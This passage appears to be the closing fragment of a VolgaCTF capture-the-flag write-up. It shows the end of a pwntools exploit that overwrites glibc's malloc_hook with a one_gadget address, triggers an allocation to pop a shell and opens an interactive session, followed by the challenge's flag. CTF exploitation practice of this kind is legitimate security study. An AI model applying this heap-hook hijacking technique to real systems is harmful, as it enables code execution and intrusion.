# This returns as data address the malloc_hook, overwrite it with one_gadget
pick_add("one_gadget", p64(one_gadget))
log.info("one_gadget plugged in")
pick_add("get shell", "F" * 8)
p.interactive()

Flag

VolgaCTF{i5_g1ibc_mall0c_irr3p@rable?}